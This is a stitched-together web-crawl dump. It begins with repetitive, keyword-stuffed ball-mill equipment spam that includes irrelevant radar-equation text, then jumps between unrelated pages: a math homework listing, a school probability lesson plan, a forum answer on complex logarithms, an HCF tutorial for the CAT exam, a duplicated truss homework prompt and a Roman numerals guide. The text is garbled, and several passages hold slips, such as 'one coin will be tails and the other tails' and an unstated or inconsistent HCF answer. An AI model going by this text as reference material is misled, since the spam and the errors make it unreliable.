Equipment Equations Abstract. Mill (grinding) WikipediaA mill is a device that breaks solid materials into smaller pieces by grinding, crushing, or cutting. Such comminution is an important unit operation in many processes.There are many different types of mills and many types of materials processed in them.\n\n•", null, "### Ball Mill Equipment Equations Principle Pdf\n\nBall Mill. Read more → Grinding Equipment. Ball Mill; Raymond Mill; MW Series Micro Powder Mill; T130X Superfine Grinding Mill; MTW Trapezium Mill; Feeding & Conveying. Belt Conveyer; Sand Washing Machine; ball mill equipment equations principle pdf\n\n•", null, "### Ball Mill an overview ScienceDirect Topics\n\nThe ball mill is a tumbling mill that uses steel balls as the grinding media. The length of the cylindrical shell is usually 1–1.5 times the shell diameter (Figure 8.11).The feed can be dry, with less than 3% moisture to minimize ball coating, or slurry containing 20–40% water by weight.\n\n•", null, "### ball mill normal speed equation\n\nball mill normal speed equation. Ball Mills Mine Engineer.Com. Most ball mills operate most efficiently between 65% and 75% of their critical speed. Photo of a 10 Ft diameter by 32 Ft long ball mill in a Cement Plant. Photo of a series of ball mills in a Copper Plant, grinding the ore for flotation.\n\n•", null, "### ball mill equipment equations principle pdf\n\nball mill equipment equations principle pdf. ball mill equipment equations principle . In Grinding, selecting (calculate) the correct or optimum ball size that allows for the best and optimum/ideal or target grind size to be achieved by your ball mill is an important thing for a Mineral Processing Engineer AKA Metallurgist to do.\n\n•", null, "### ball mill equipment equations principle pdf\n\nball mill equipment equations principle pdf Description; The Radar Equation Radartutorial. What is the radar range equation? The Radar Range Equation. radar range equation represents the physical dependences of the transmit power, which is the wave propagation\n\n•", null, "### Equipment Design Equation Ball Mill\n\nball mill equations pdf fysiozuidlarennl. ball mill model equations feentechnl Research of Mathematical Model of the Ball Mill with Double According to the mass balance equation, the ball mill with double inlets and outlets meets the request of ball mill equipment equations A typical type of fine grinder is the ball mill Get Price; ball\n\n•", null, "### ball mill equipment equations courage-epreuve.be\n\nball mill modelling and design equation Grinding Mill China. ball mill modelling and design equation. Posted at: May 11, 2013 [ 4.9 5875 Ratings ] »ultra fine glass crushing equipment »ball mill\n\n•", null, "### equipment design equation ball mill plusict.be\n\nBond Mill Power Equation cz-eueu. fred bond ball mill power draw equations acdc ball mill equipment equations I attach Fred Bond's first empirical equation for sizing grinding balls for ball mills as, Browser Tool for Ball Mill Design Power Draw, Get Price And Support Online; bond mill power equation bezgranici and ball mill circuits are used to show that Bond's.\n\n•", null, "### ball mill equipment equations jrietdijk.nl\n\nball mill modeling equations gab gramya vikas credit ball mill design equations and modelling pdf. res.. 18 ball mill equipment equations principle get price blanc ball mill equation ball mill equipment equations, in industries viz mineral dressing, ore processing,, standard equation used by them for the ball mill work index get price\n\n•", null, "### Equipment Design Equation Ball Mill\n\nball mill equipment equations ruassia. ball mill working principlegrinding mills in south africa Raymond mill is a flour mill it is suitable for various powder preparation coal grinding such as powder processing of raw ore Ball Mill The ball mill in mineral beneficiation daily ceramics chemical cement glass refractories and other industries has become a kind of\n\n•", null, "### AMIT 135: Lesson 7 Ball Mills & Circuits Mining Mill\n\nFor overflow ball mills, the charge should not exceed 45% of the mill volume . For grate discharge mills, the charge should occupy about 50% of the mill volume . Bond developed a relationship that can be used to determine the percent charge by volume as a function of the vertical height above the charge, He, and the radius of the mill, R, i.e.,\n\n•", null, "### equipment design equation ball mill in nigeria\n\nequipment design equation ball mill equipment design equation ball mill nificance in ensuring the safe and economical operation of equipment The ball mill is an important part of Contact Supplier ball mill design equations and modelling pdf trummel for alluvial mineral processing customer case. blasting quarry crusherfeldspar\n\n•", null, "### ball mill equipment equations gold russian-iron ore ball\n\nball mill equipment equations gold russian. Efficient Thickener. Efficient Thickener. Hydraulic Motor Driving Center Thickener. Hydraulic Motor Driving Center Thickener. Grid Type Ball Mill. Grid Type Ball Mill. Submerged Slurry Pump. Submerged Slurry Pump. Agitation Tank For Chemical Reagent.\n\n•", null, "### Ball Mill Equipment Equations\n\nBall Mill Equipment Equations Abstract. Mill (grinding) WikipediaA mill is a device that breaks solid materials into smaller pieces by grinding, crushing, or cutting. Such comminution is an important unit operation in many processes.There are many different types of mills and many types of materials processed in them.\n\n•", null, "### Ball Mill Equipment Equations Principle Pdf\n\nBall Mill. Read more → Grinding Equipment. Ball Mill; Raymond Mill; MW Series Micro Powder Mill; T130X Superfine Grinding Mill; MTW Trapezium Mill; Feeding & Conveying. Belt Conveyer; Sand Washing Machine; ball mill equipment equations principle pdf\n\n•", null, "### AMIT 135: Lesson 7 Ball Mills & Circuits Mining Mill\n\nFor overflow ball mills, the charge should not exceed 45% of the mill volume . For grate discharge mills, the charge should occupy about 50% of the mill volume . Bond developed a relationship that can be used to determine the percent charge by volume as a function of the vertical height above the charge, He, and the radius of the mill, R, i.e.,\n\n•", null, "### ball mill normal speed equation\n\nball mill normal speed equation. Ball Mills Mine Engineer.Com. Most ball mills operate most efficiently between 65% and 75% of their critical speed. Photo of a 10 Ft diameter by 32 Ft long ball mill in a Cement Plant. Photo of a series of ball mills in a Copper Plant, grinding the ore for flotation.\n\n•", null, "### ball mill equipment equations principle pdf\n\nball mill equipment equations principle pdf. ball mill equipment equations principle . In Grinding, selecting (calculate) the correct or optimum ball size that allows for the best and optimum/ideal or target grind size to be achieved by your ball mill is an important thing for a Mineral Processing Engineer AKA Metallurgist to do.\n\n•", null, "### ball mill equipment equations principle pdf\n\nball mill equipment equations principle pdf Description; The Radar Equation Radartutorial. What is the radar range equation? The Radar Range Equation. radar range equation represents the physical dependences of the transmit power, which is the wave propagation\n\n•", null, "### ball mill equipment equations Gospoda Uroczysko\n\nball mill equipment equations Calculate and Select Ball Mill Ball Size for Optimum Grinding. In Grinding selecting (calculate) the correct or optimum ball size that allows for the best and optimum/ideal or target grind size to be achieved by your ball mill is an important thing for a Mineral Processing Engineer AKA Metallurgist to do.\n\n•", null, "### ball mill equipment equations courage-epreuve.be\n\nball mill modelling and design equation Grinding Mill China. ball mill modelling and design equation. Posted at: May 11, 2013 [ 4.9 5875 Ratings ] »ultra fine glass crushing equipment »ball mill\n\n•", null, "### equipment design equation ball mill plusict.be\n\nBond Mill Power Equation cz-eueu. fred bond ball mill power draw equations acdc ball mill equipment equations I attach Fred Bond's first empirical equation for sizing grinding balls for ball mills as, Browser Tool for Ball Mill Design Power Draw, Get Price And Support Online; bond mill power equation bezgranici and ball mill circuits are used to show that Bond's.\n\n•", null, "### Equipment Design Equation Ball Mill\n\nball mill equipment equations ruassia. ball mill working principlegrinding mills in south africa Raymond mill is a flour mill it is suitable for various powder preparation coal grinding such as powder processing of raw ore Ball Mill The ball mill in mineral beneficiation daily ceramics chemical cement glass refractories and other industries has become a kind of\n\n•", null, "### equipment design equation ball mill in nigeria\n\nequipment design equation ball mill equipment design equation ball mill nificance in ensuring the safe and economical operation of equipment The ball mill is an important part of Contact Supplier ball mill design equations and modelling pdf trummel for alluvial mineral processing customer case. blasting quarry crusherfeldspar\n\n•", null, "### ball mill equipment equations coal ruassia magnetic\n\nball mill equipment equations coal ruassia. Ball Mill Equipment Equations Coal Ruassia. Ball mills at power plants coal russian line ball mill coal power plant coal russian tivlabsine ball mill coal power plant coal russian,africa,swaziland,tanzania,zambia,zimbabwe,india,china,russia air swept coal ball mill is the main equipment in ead more accessorise of milling machine china coal.\n\n•", null, "### Ball Mill SlideShare\n\nNov 30, 2015· DEFINITON: • A ball mill is a type of grinder used to grind and blend materials for use in mineral dressing processes, paints, pyrotechnics, ceramics and selective laser sintering etc. 6. PRINCIPLE: A ball mill works on the principle of impact and attrition. size reduction is done by impact as the balls drop from near the top of the shell.\n\n•", null, "### Ball Grinding Mill Modeling Equations\n\nBall mill is a key equipment to recrush primary crushed materials Ball mills are widely used in cement silicate products 52555 new building materials refractory materials fertilizer ferrous and nonferrous. ball mill modeling equations customer case Scaleup for grinding in stirred ball mills The basic equation is known have been published on" ]
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https://knowme.live/mathematics/why-would-a-prism-beat-a-sphere-in-a-competition-12720/
[ "# why would a prism beat a sphere in a competition?\n\nquestioned by maham237 @ in Mathematics viewed by 1299 People\n\n## how to determine if a graph is even or odd\n\nQuestioned by administrator @ in Mathematics viewed by 2 persons\n\nDetermine whether the function shown in the graph is even or odd.\n\n## how many pairs of parallel sides does a trapezoid have\n\nQuestioned by administrator @ in Mathematics viewed by 2 persons\n\nHow many pairs of parallel sides does the trapezoid have\n\n## what is the formula for the volume of a pyramid\n\nQuestioned by administrator @ in Mathematics viewed by 0 persons\n\nThe formula for the volume of a pyramid is V = 1/3 Bh, where B is the area of the base of the pyramid snd h is the height of …\n\n## what is the least common multiple of 3 and 10\n\nQuestioned by administrator @ in Mathematics viewed by 2 persons\n\nWhat is the least common multiple of 3 and 10\n\n## when i was 6 my sister was half my age\n\nQuestioned by administrator @ in Mathematics viewed by 2 persons\n\nWhen I was 10 my sister was half my age, now I’m 30. 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Explain your answer.\n\n## what is the greatest common factor of 36 and 54\n\nQuestioned by administrator @ in Mathematics viewed by 1 persons\n\nWhat is the GCF (greatest common factor) of 36 and 54\n\n## what is the least common multiple of 7 and 9\n\nQuestioned by administrator @ in Mathematics viewed by 1 persons\n\nWhat is the least common multiple of 7 and 9?\n\n## what is the greatest common factor of 18 and 24\n\nQuestioned by administrator @ in Mathematics viewed by 1 persons\n\nHow do I find the GCF of 18 and 24\n\n## why would a prism beat a sphere in a competition?\n\nQuestioned by maham237 @ in Mathematics viewed by 1299 persons\n\n## which equation can be simplified to find the inverse of y = 5x2 + 10?\n\nQuestioned by administrator @ in Mathematics viewed by 759 persons\n\n## what is the completely factored form of f(x) = 6x3 – 13x2 – 4x + 15?\n\nQuestioned by administrator @ in Mathematics viewed by 576 persons\n\n## spring blooms logic problem sampler\n\nQuestioned by maham237 @ in Mathematics viewed by 556 persons\n\n## sarah is making a scale drawing of a painting that is 48 in wide by 120 in high\n\nQuestioned by maham237 @ in Mathematics viewed by 384 persons\n\n## 3.2 pounds\n\nQuestioned by maham237 @ in Mathematics viewed by 373 persons\n\n## employee c is paid an hourly rate of \\$13.25 per hour and works 2,080 hours per year. the employee was just promoted and received a 15% raise. what is the employee's new yearly salary?\n\nQuestioned by maham237 @ in Mathematics viewed by 371 persons\n\n## what is the value of x? enter your answer in the box.\n\nQuestioned by administrator @ in Mathematics viewed by 345 persons\n\n## 1.75 m to height\n\nQuestioned by maham237 @ in Mathematics viewed by 336 persons\n\n## mateo made the model below\n\nQuestioned by maham237 @ in Mathematics viewed by 335 persons\n\n## from 2000 to 2003 students were tested\n\nQuestioned by maham237 @ in Mathematics viewed by 325 persons\n\n## john wants to send a letter to peter\n\nQuestioned by maham237 @ in Mathematics viewed by 306 persons\n\n## trigonometry pile up answer key\n\nQuestioned by maham237 @ in Mathematics viewed by 303 persons\n\n## if (x – 5) is a factor of f(x), which of the following must be true?\n\nQuestioned by maham237 @ in Mathematics viewed by 303 persons\n\n## box of nails\n\nQuestioned by maham237 @ in Mathematics viewed by 301 persons" ]
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https://nzmaths.co.nz/content/probability-distributions
[ "Probability Distributions\n\nPurpose\n\nThis unit aims to introduce students to concepts that are important in probability. The emphasis should be on working slowly taking the time to let the students grasp the ideas that underlie the activities presented. All the ideas are important as a base for future learning in this area of mathematics.\n\nSpecific Learning Outcomes\n• explain what a probability distribution is\n• explain how probabilities are distributed\n• calculate what happens to the distribution when variables are summed\n• calculate expected number from theoretical probabilities\n• appreciate the difference between theoretical and experimental probabilities.\nDescription of Mathematics\n\nThe probability distribution of a discrete random variable is a list of probabilities associated with each of its possible values. It is also sometimes called the probability function or the probability mass function. If we were to toss two coins, we know that there is an even chance of getting heads or tails for each. In this case, the probability distribution of the event \"tossing two fair coins\" looks like this: Two tails, One head and one tail, Two heads 1/4 1/2 1/4. There is a one in four chance that both coins will be tails, a one in 2 chance that one coin will be tails and the other tails, and a one in four chance that both coins will be tails.\n\nRequired Resource Materials\n\nDice\n\nCoins\n\nSpinners\n\nKey Vocabulary\n\nprobability distribution, random variables, uniform variables, simulation\n\nActivity\n\nSession 1\n\nThis session aims to give the students a feel for what a probability distribution is, and to investigate the sum of 2 variables.\n\n1. Group the class in 3s.\n2. Issue each group with a pair of dice and pose a contextual question that will form the scaffolding for the skills and ideas they will cover in this session. If you are playing a board game that involves rolling two dice and moving the sum shown, what is the probability that your next move would be a move of 8 spaces?\n3. They investigate the sum of the two numbers when the pair of dice is rolled (difference is simply larger minus smaller).\nWhat all the possible sums from the two dice?\nAre any sums more likely than others? How do you know?\n4. Ask the students to use list the sample space to find the probability distribution. They may need to be shown how to set their working out in a 6x6 table, or they may have their own orderly method of listing the sample space.\n5. Pose the following questions to groups. What is the probability that rolling two dice gives a sum of 8? Which sum(s) from the two dice has the highest probability? Which sum(s) from the two dice has the lowest probability?\n6. Make a spinner that simulates, in one spin, the sum of rolling two dice.\n7. Consolidate students' learning with some or all of the following activities, as time allows. For each of the following pairs of variables (1) find the distribution of the sum (2) show the distribution as both a table and a graph (3) draw a spinner that simulates the sum in a single spin.", null, "Session 2\n\nThis session uses the knowledge and technique developed in session 1 to solve word problems.\n\n1. Pose the following problems for the class to solve in small groups. Ask the students for their ideas on how to proceed.\nProblem 1: Three seeds are planted. Each has probability 0.3 of growing. Draw the distribution of the number of seeds that grow.\nProblem 2: Three lightbulbs are switched on for a month. The chance of any one of the bulbs blowing during this period is 0.2. Find the probability that all will blow during the period; 2 will blow; 1 will blow; none will blow. Graph the distribution.\nProblem 3: It is known that 10% of torches made by a particular factory are defective. If you buy 3 torches, what is the probability distribution for the number of them that will be faulty?\n2. Share methods and solutions.\n3. If time, get the students to make up their own problem(s) along these lines, for each other to solve.\n\nSession 3\n\nThis session has aims: to investigate the distributions when uniform variables are added, and to add 3 variables.\n\n1. In groups add the following pairs of uniform variables. Discuss the images below. Have the students suggest possible scenarios that would lead to such a distribution. What are the possible values of each variable? Give me an example of a situation that would have an even chance of scoring a 1 or a 2 or a 3. What are the possible values of the sum of the two variables? Give me an example of what might be happening here? Try to encourage the class to come up with a wide variety of possible contexts, no matter how wacky, placing an emphasis on their scenario having numerical accuracy.", null, "2. Graph the distribution of the sum of the two variables in each of the above images.\n3. Give the student a context based problem to think about for now and to work with and solve in the last session. I've invented a new game that involves three dice. I've marked each die with only a 1, 2 or 3 on the faces in such a way: The first has sides 1,1,1,2,2,3 and the second has 1,1,2,2,3,3 and the last has 1,2,2,3,3,3. Each player rolls the three dice and records their result. What is the most likely sum of the three variables?\n4. Class discussion. How would you add the 3 variables in the diagram below? Find the probability distribution.\nIntroduce the probability tree diagram as a method of finding the probability distribution.", null, "5. Pose the following questions for a class discussion: How would you add the 3 variables in the example below? What is the probability that the sum of the three numbers is 4?", null, "Share strategies and approaches:", null, "6. Ask the students to, in pairs, complete the previous example and draw the distribution of the sums.\n\nSession 4\n\nThis session aims to give the students a feel for using a probability distribution, to set up an run a simulation, to solve a problem involving expected number.\n\n1. Group the class in 3s.\n2. Issue each group with a pair of dice and pose a contextual question that will form the scaffolding for the skills and ideas they will cover in this session. If four friends are playing a two dice board game that requires each player to roll a double (difference of zero) before they can start, what is the expected number of rolls for all four of the players before everyone has started?\n3. They can solve the context problem by investigating the difference between the two numbers when the pair is rolled (difference is simply larger minus smaller).\nWhat does investigation mean in this situation?\nWhat all the possible answers?\nAre some more likely than others? How do you know?\nWhich are most likely?\nWhich are least likely?\nWhat is the probability of each outcome (that is, what is the probability that the difference will be 0, 1, 2, 3, 4, 5)?\n\nLeave students to their own methods.\n4. Discuss the results as a class:\nWhat answers did you find?\nHow did you go about it?\n5. If no one suggested a 6x6 table show them how one can be constructed.\n 1 2 3 4 5 6 1 0 1 2 3 4 5 2 1 0 1 2 3 4 3 2 1 0 1 2 3 4 3 2 1 0 1 2 5 4 3 2 1 0 1 6 5 4 3 2 1 0\n6. From the table the probability distribution can be found.\n 0 1 2 3 4 5 1/6 5/18 2/9 1/6 1/9 1/18", null, "7. Discuss the context question (2) with the class, noting the difference between probability and expected number.\n8. Set up a simulation to model the context question (2). For this, random numbers from 1-36 could be used (on a calculator, 36RAN# +1) and each student in the class should run the simulation until every player is on the board. (Note that once a player is on the board, they will continue to roll the dice when it is their turn).\n9. Regroup and review the simulation. Find the mean of the students' results for the number of rolls it took before all players were on the board (including players on the board taking their turn). Use this result to compare theoretical and experimental probabilities and to compare probabilities with expected number.\n\nSession 5\n\nThis session uses the knowledge and technique developed in the previous to solve word problems independently.\n\n1. Pose the following problems for the class to solve in small groups. Ask the students for their ideas on how to proceed. Encourage the students to calculate a theoretical value, then to set up and run a simulation to generate an experimental value.\nProblem 1: A gardener is making a 'wildflower bed' by scattering 100 lupin seeds, 100 cosmos seeds and 50 fox gloves seeds. He then scatters 1/5 of the seeds in the flower bed. If half of the seeds planted are successful, what is the expected number of fox gloves in the bed?\nProblem 2: A factory produces a toy that has three parts. The probability of any one part having a fault is 1%. If the factory produces 1500 toys per day, what is the expected number of faulty toys (one or more faulty part) produced in a day?\n2. Problem 3: (Recall the probability problem discussed in session 3). I've invented a new game that involves three dice. I've marked each die with only a 1, 2 or 3 on the faces in such a way: The first has sides 1,1,1,2,2,3 and the second has 1,1,2,2,3,3 and the last has 1,2,2,3,3,3. Each player rolls the three dice and records their result. (And now for how to win!) Each player takes a turn and adds their new score to their running total. The winner is the first to break 66 (ie their running total goes over, not including 66). Find the expected number of throws for a player to reach 66.\n3. Bring the class together to combing experimental values (and find the class mean of those values). Compare this mean with the theoretical value. Discuss.\n4. If time, get the students to make up their own problem(s) along these lines, for each other to solve.\n\nLog in or register to create plans from your planning space that include this resource." ]
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https://mathhelpforum.com/threads/logarithm.145016/
[ "# logarithm\n\n#### sandy\n\ni really need help in this , i have no idea at all , help!\n\nUse logarithms to find all solutions of the following equations\n(a)\ne^z = e\n\n(b) e^z = e^(-z)\n\n#### chisigma\n\nMHF Hall of Honor\na) $$\\displaystyle e^{z} = e \\rightarrow z= 1 + 2 k \\pi i$$\n\nb) $$\\displaystyle e^{z} = e^{-z} \\rightarrow z = k \\pi i$$\n\n... where in both cases k is an integer...\n\nKind regards\n\n$$\\displaystyle \\chi$$ $$\\displaystyle \\sigma$$\n\n•", null, "sandy" ]
[ null, "data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7", null ]
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https://www.handakafunda.com/concepts-of-hcf-for-cat-exam-with-solved-examples/
[ "# Concepts of HCF for CAT Exam with Solved Examples\n\nSunday, August 2nd, 2020", null, "Highest Common Factor (HCF) is the largest factor of two or more numbers. The same can be defined algebraically as “ HCF of two or more algebraical expressions is the expression of highest dimension which divides each of them without remainder. HCF is also called GCD (Greatest Common Divisor).\n\nHCF can be found either by Factorization method or Long Division Method. However, these two methods are not feasible when we have to find HCF of more than 3 numbers and the numbers are also large. In that case, we can find the differences between the numbers and they can find the HCF of differences.\n\nLet’s understand it by a question:\n\n1. Find the HCF of the numbers 1728, 1408, 1856, 1344.\n\nSol: Now to find the HCF by the above methods, you will require much calculation which is not advisable in context of time.\n\nSo, firstly find all the differences i.e. (1728-1408) = 320\n\n(1856-1408) = 448\n\n(1408-1344)= 64\n\n(1856-1728) = 128\n\nClearly, it can be seen that the differences can’t be less than 64 so it is not necessary to find the other differences.\n\nNow, the HCF of the above difference is easy to find and i.e 64.\n\nYou can check that 64 divides all the numbers, Hence HCF is 64.\n\nNote: If 64 would not have to divide any of the numbers, then we would check by the factors of 64.\n\n## Various Models of Highest Common Factor (HCF)\n\n• HCF Model1:\n\nIn this model, we have to identify the largest number that exactly divides the given dividends (which are obtained by subtracting the respective remainders from the original numbers).\n\n“ The largest number with which the numbers p, q, or r are divided giving remainders of s, t, and u respectively will be the HCF of the three numbers (p-s), (q-t) and (r-u).”\n\nLet us understand this model with an example.\n\nQues: Find the largest number with which when 72 and 119 are divided respective remainders of 3 and 4 are left.\n\nSol: Since 72 when divided by the number gives a remainder of 3, it means 72-3 i.e. 69 is exactly divisible by that number. Similarly, 119-4=115 is also exactly divisible by that number.\n\nThis means we have to find the HCF of 69 and 115 which is equals to 23.\n\n• HCF Model 2:\n\nIn this model, the problem will be as follows:\n\n“ Find the largest number with which if we divide the numbers p, q, and r, the respective remainders are same.”\n\nTake the difference between any two pairs of the three given numbers. Let us say we take the two differences (p-q) and (p-r). The HCF of these numbers will be the required number.\n\nHere the required number =HCF of (p-q) and (p-r)= HCF of (p-q) and (q-r)= HCF of (q-r) and (p-r).\n\nLet us take an example and look at this model.\n\nQues: Find the largest number with which when 555, 1275, and 1635 are divided, the remainders are the same.\n\nSol: As mentioned above, take the differences between any two pairs of the three given numbers.\n\n1275-555=720\n\n1635-555=1080. The required number is the HCF of the two differences, i.e. HCF of 720 and 1080 which is 360.\n\nUse referral code HANDA to get 10% off.\n\n• Daily Live Classes\n• Live Tests and Quizzes\n• Structured Courses\n• Personalized Coaching\n• ## Solved Examples on Highest Common Factor\n\n1. How many pairs of positive integers exist such that their HCF + LCM = 91?\n\nSol: Let us x = h * a; y = h * b                (a&b are co-prime)\nSo, LCM of (x, y) = h * a * b\n\nTherefore, h+h*a*b=91 or h(ab + 1) = 91\n\nNow, 91 can be written as 1 * 91 or 7 * 13\n\nCase I: HCF=1 & LCM=91\n\nThere are 4 pairs of numbers like this (2, 45), (9, 10), (1, 90) and (5, 18)\n\nCase II: We can have HCF as 7, ab + 1 = 13 => ab = 12 => 1 * 12 or 4 * 3\n\nThe pairs would be:  (7, 84) or (21, 28)\n\nCase III: HCF = 13, ab + 1 = 7 => ab = 6\n\n(a, b) can be either (1, 6) or (2, 3)\nThe pairs possible are (13, 78) and (26, 39)\n\nHence, total available pairs are: 4+2+2 = 8\n\n2. How many pairs of positive integers x, y exist such that HCF of x, y = 35 and sum of x and y = 1085?\n\nSol:  We can write x = 35a; y = 35b\n\nx + y = 1085 => 35(a + b) = 1085. => (a + b) = 31.\n\nWe need to find pairs of co-prime integers that add up to 31.\n\nSince 31 is prime. All pairs of integers that add up to 31 will be co-prime to each other.\n\nThere are totally 15 pairs that satisfy this condition.\n\n3. Sum of two numbers x, y = 1050. What is the maximum value of the HCF between x and y?\n\nSol: We have given the sum of two numbers and we have to find the maximum HCF.\n\nThe HCF would be maximum when both the numbers are maximum and yield 1050 on doing sum.\n\nSo, we will divide the number in the ratio of 1: 1 i.e. we can have x = 525 and y = 525\n\nIt is not written that the numbers should be distinct. However, in the case of distinct numbers we will divide the number in the ratio 2:1 or vice versa. In that case x = 350, y = 700, HCF = 350.\n\nThe question is “What is the maximum value of the HCF between x and y?”\n\n4. There are 2 numbers such that a > b, HCF (a, b) = h and LCM (a, b) = l. What is the LCM of a – b and b?\n\nSol: Given a > b, HCF = h, LCM = l\nFrom the above we can say, HCF of (a – b, b) = h\n\nLCM x HCF = Product of 2 numbers\n(a – b)b = h x LCM\nLCM = (a – b) b / h\n\nThe question is “What is the LCM of a – b and b?”\nHence the answer is “(a – b) b / h”\n\n## LCM and HCF of Fractions:\n\nFor finding the LCM and HCF of Fractions, first reduce each fraction to its simplest form i.e. cancel out any common factors between numerator and denominator and then apply the formula from the following:", null, "4 logs of woods of lengths 5 1/4 m, 1 13/15 m, 3 1/2 m and 4 9/10 m are cut into small pieces, all of which have equal length. Each piece of wood is as lengthy as possible. Each cut piece is given to a set of 2 carpenters to work on something. How many carpenters are there in all to work?\n\nSol: HCF of fractions\n\nHCF (5 1/4 , 1 13/15 , 3 1/2 , 4 9/10 )\n\n= HCF (21/4 , 28/15 , 7/2 ,49/10)\n\n= HCF (21,28,7,49)/LCM(4,15,2,10)\n\n= 7/60\n\nHence, total number of pieces\n\n= 21/4 * 60 /7 + 28/15 * 60/7 + 7/2 * 60/7 + 49/10 * 60/7\n\n= 45 + 16 + 30 + 42\n\n= 133\n\nThe question is “How many carpenters are there in all to work?”\n\nHope this post helped you figure out the concept of Highest Common Factor for CAT. Please have a look at our post related to Lowest Common Multiple (LCM) for CAT.\n\n## Other posts related to Quantitative Aptitude – Number Systems\n\n### CAT Questions related to Quantitative Aptitude – Number Systems\n\nAll questions from CAT Exam Quantitative Aptitude – Number Systems\nQuantitative Aptitude – Number Systems – Q1: If the product of three consecutive positive integers is 15600 then the sum of the squares of these integers is\nQuantitative Aptitude – Number Systems – Q2: If a, b, c are three positive integers such that a and b are in the ratio 3 : 4 while b and c are in the ratio 2:1, then which one of the following is a possible value of (a + b + c)?\nQuantitative Aptitude – Number Systems – Q3: The numbers 1, 2,…,9 are arranged in a 3 X 3 square grid in such a way that each number occurs once and the entries along each column, each row, and each of the two diagonals add up to the same value." ]
[ null, "https://www.handakafunda.com/wp-content/uploads/2019/07/Concepts-of-HCF-for-CAT-Exam-with-Solved-Examples.jpg", null, "https://www.handakafunda.com/wp-content/uploads/2019/07/hcf-formula.jpg", null ]
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https://onlyessayhelp.com/analyze-and-compare-two-trusses-arched-configurations-of-the-pratt-truss-and-the-howe-truss-in-1-answer-below/
[ "# Analyze and compare two trusses arched configurations of the Pratt Truss and the Howe Truss in… 1 answer below »\n\nAnalyze and compare two trusses arched configurations of the Pratt Truss and the Howe Truss in… 1 answer below ». Analyze and compare two trusses arched configurations of the Pratt Truss and the Howe Truss in… 1 answer below ».\n\nAnalyze and compare two trusses, arched configurations of the Pratt Truss and the Howe Truss in Figures P4.56 (a) and (b), respectively. The trusses have the same depth, length, panel spacing, loading, and supports. All joints are pinned. For each truss, do the following.\n\na) Compute all bar forces and indicate tension or compression for each force.\n\nb) Determine the required cross-sectional areas for each bar, given an allowable tensile stress of 45 ksi, and an allowable compressive stress of 24 ksi. Note that the allowable compressive stress is lower due to buckling.\n\nc) Tabulate your results showing bar forces, crosssectional areas, and lengths.\n\nd) Calculate the total weight of each truss and determine which truss has a more efficient configuration. Explain your results.\n\ne) What other conclusions can you draw from the study?\n\nAnalyze and compare two trusses arched configurations of the Pratt Truss and the Howe Truss in… 1 answer below »\n\nAnalyze and compare two trusses arched configurations of the Pratt Truss and the Howe Truss in… 1 answer below »", null, "Posted in Uncategorized\n\n# Analyze and compare two trusses arched configurations of the Pratt Truss and the Howe Truss in… 1 answer below »\n\nAnalyze and compare two trusses arched configurations of the Pratt Truss and the Howe Truss in… 1 answer below ». Analyze and compare two trusses arched configurations of the Pratt Truss and the Howe Truss in… 1 answer below ».\n\nAnalyze and compare two trusses, arched configurations of the Pratt Truss and the Howe Truss in Figures P4.56 (a) and (b), respectively. The trusses have the same depth, length, panel spacing, loading, and supports. All joints are pinned. For each truss, do the following.\n\na) Compute all bar forces and indicate tension or compression for each force.\n\nb) Determine the required cross-sectional areas for each bar, given an allowable tensile stress of 45 ksi, and an allowable compressive stress of 24 ksi. Note that the allowable compressive stress is lower due to buckling.\n\nc) Tabulate your results showing bar forces, crosssectional areas, and lengths.\n\nd) Calculate the total weight of each truss and determine which truss has a more efficient configuration. Explain your results.\n\ne) What other conclusions can you draw from the study?\n\nAnalyze and compare two trusses arched configurations of the Pratt Truss and the Howe Truss in… 1 answer below »\n\nAnalyze and compare two trusses arched configurations of the Pratt Truss and the Howe Truss in… 1 answer below »", null, "Posted in Uncategorized" ]
[ null, "https://learnedwriters.com/wp-content/uploads/2021/02/paper-1-Copy.png", null, "https://learnedwriters.com/wp-content/uploads/2021/02/paper-1-Copy.png", null ]
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https://www.pharmacy-tech-test.com/roman-numerals.html
[ "# Roman NumeralsBy Ron Aylor, CPhT\n\nRoman numerals date back to ancient times when symbols were used for pharmaceutical computations and record keeping. Some physicians still use them in dosage calculations; therefore, pharmacy technicians must understand Roman numerals.", null, "The Romans depicted numbers using eight letters of the alphabet as shown here.\n\nThe most common numerals you will use are those between 1/2 (ss) and 10 (X). The letters L, C, D, and M are rarely used in practice, and are shown above for your review only.\n\n# Rules of use\n\nThe main rule is to use the biggest numeral possible at each stage, so 15 is represented by xv not vvv nor xiiiii. It follows from this rule that numerals always go from left to right in descending order.\n\nThis could still lead to some very long strings. For example using this rule; 99 would be LXXXXVIIII. So at some point a new rule was invented. A smaller value letter to the left of a larger value one is subtracted. So 4 becomes iv - which is 5 minus 1 - rather than iiii. Roman numerals of the same value can be repeated in sequence, only up to three times. Once you can no longer repeat, you need to subtract.\n\nThere are three rules about these smaller numerals which are placed to the left of a bigger one and subtracted:\n\n1. The subtractive numeral to the left must be I, X, or C. The 'five' numerals V, L, and D cannot be used (nor will you see these numerals repeated in sequence because when their values, when doubled, become separate Roman numerals). M cannot be used because it is the biggest numeral anyway.\n\n2. The subtracted number must be no less than a tenth of the value of the number from which it is subtracted. So an X can be placed to the left of a C or an L but not to the left of an M or a D. The correct way of looking at this rule is that each power of ten is dealt with separately. So 49 is XLIX, not IL.\n\n3. Normally, only one smaller number can be placed to the left. So 19 can be depicted XIX but 17 cannot be written XIIIX or IIIXX.\n\n# Forming Numbers", null, "Where would you like to go now?\n\nPrescription Abbreviations" ]
[ null, "https://www.pharmacy-tech-test.com/images/roman_numerals_rules.png", null, "https://www.pharmacy-tech-test.com/images/roman_numerals_forming.png", null ]
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https://www.flexiprep.com/NCERT-Exemplar-Solutions/Mathematics/Class-12/NCERT-Class-12-Mathematics-Exemplar-Chapter-12-Linear-Programming-Part-4.html
